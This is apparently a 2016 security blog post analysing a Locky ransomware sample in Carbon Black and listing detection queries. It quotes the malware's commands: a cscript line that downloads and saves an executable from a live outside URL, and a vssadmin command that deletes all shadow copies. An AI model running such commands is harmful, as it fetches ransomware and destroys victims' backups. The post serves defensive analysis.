Please note we have recently updated our Privacy Policy, effective May 24, 2018. You may view the updated Privacy Policy here.
By using this website, you consent to the use of information that you provide us in accordance with the Privacy Policy.


Tracking Locky Ransomware Using Carbon Black

March 4, 2016 / Russell Nolen


With the Locky ransomware making headlines recently for infecting a hospital and a school (and both organizations paying the ransom for access to their data), I thought it would be helpful to take a quick look at a sample:

Sample: d71211168a0fbcecd2dc8b28ac019d7f

When the sample is run in Carbon Black Enterprise Response (CbER), we get the following process tree:


Let’s take some time and pick at this sample a bit in CbER. The sample is a typical Locky sample where it is a Word document with a password-protected macro that does all the damage:


Once the macro is run, it drops a batch file and VBscript to download the actual Locky ransomware. The batch file executes the VBScript with the parameters of the location to download the executable from and where to place it using the following command:

cscript //Nolog C:\Users\User\AppData\Local\Temp\xzxcccasd.vbs http://www.proteusnet.it/6/6.exe C:\Users\user\AppData\Local\Temp\fail.exe

The downloaded file (fail.exe) is then executed and the process of encrypting the files begins.

Using CbER, we can easily spot this type of behavior with the simple query:

  • process_name:winword.exe AND childproc_name:cmd.exe

This query could produce some false positives so let’s tighten it up a bit. Let’s look for all cmd.exes that are being called by winword.exe and have a child process of cscript.exe:

  • process_name:cmd.exe parent_name:winword.exe childproc_name:cscript.exe

This query allows us to see any suspect cmd.exe processes.

Let’s take a look at the fail.exe element of Locky. Fail.exe is actually what does the “locking,” or encrypting of user files. It has a sub process of vssadmin.exe and notepad.exe.

The vssadmin.exe is removing all shadow copies from the system. We have documented both APT actors and other ransomware using volume shadow copies in various other blog posts

In this case, Locky is deleting all shadows with the command “vssadmin.exe Delete Shadows /All Quiet.”

Notepad.exe is spawned to display the text file instructing the user on how to pay for the unlocking:


Notepad.exe is also called with command line parameters of _Lockey_recover_instructions.txt. Across all the Locky samples we have analyzed all of them have the same name. To find the suspect Locky binary we have the following query:

  • childproc_name:notepad.exe and childproc_name:vssadmin.exe

To search for the notepad.exe process being used to display the recovery instructions we can  use the following:

  • cmdline:_Locky_recover_instructions.txt

Locky drops various configuration data to the registry in:


We can find this registry entry with the following query:

  • regmod:software\locky

In conclusion we have the following queries just from a few minutes of analysis with some Locky samples:

  • process_name:winword.exe AND childproc_name:cmd.exe
  • process_name:cmd.exe parent_name:winword.exe childproc_name:cscript.exe
  • childproc_name:notepad.exe and childproc_name:vssadmin.exe
  • cmdline:_Locky_recover_instructions.txt
  • regmod:software\locky

On a separate note from the technology side of Locky, BACKUP, BACKUP, BACKUP, and then *test* your backups. If you are backing up properly then ransomware becomes a very small headache vs. a very large one.

A few years back I gave a talk on the evolution of malware that predicted malware would return to destruction. Since then we have seen onsets of Shamoon, Wiper, and Ransomware. Cyber security is more than just shells and vulnerability scans. It is about the computing ecosystem as a whole.

TAGS: Carbon Black / Locky / malware / ransomware / threat research